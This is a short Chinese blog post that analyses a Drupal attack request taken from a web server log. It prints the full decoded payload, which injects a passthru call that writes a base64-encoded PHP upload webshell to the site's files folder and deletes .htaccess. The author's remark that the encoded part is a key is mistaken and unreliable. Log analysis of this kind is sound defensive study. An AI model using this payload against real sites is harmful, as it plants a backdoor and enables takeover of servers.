從 Web Log 學習系統漏洞 28

似乎是 Drupal 這個網站架站平台軟體的漏洞攻擊

其中亂碼部分解碼後:
?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo PD9waHANCmVjaG8gIlBIUCBVcGxvYWRlciAtIFlhY2luZV9Nb2hhbWVkIjsNCmVjaG8gIjxicj4iLnBocF91bmFtZSgpLiI8YnI+IjsNCmVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQo8aW5wdXQgdHlwZT0nZmlsZScgbmFtZT0nemInPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbG9hZCcgdmFsdWU9J3VwbG9hZCc+DQo8L2Zvcm0+IjsNCmlmKCRfUE9TVFsndXBsb2FkJ10pIHsNCiAgaWYoQGNvcHkoJF9GSUxFU1snemInXVsndG1wX25hbWUnXSwgJF9GSUxFU1snemInXVsnbmFtZSddKSkgew0KICBlY2hvICJTdWNjZXNzISI7DQogIH0gZWxzZSB7DQogIGVjaG8gIkZhaWxlZCB0byBVcGxvYWQuIjsNCiAgfQ0KfQ0KPz4= | base64 -d | tee sites/default/files/fuck.php | rm -rf sites/default/files/.htaccess

黑色字為輸入命令, 紅色字大概是什麼東西的金鑰, 企圖植入fuck.php這檔案再刪除.htaccess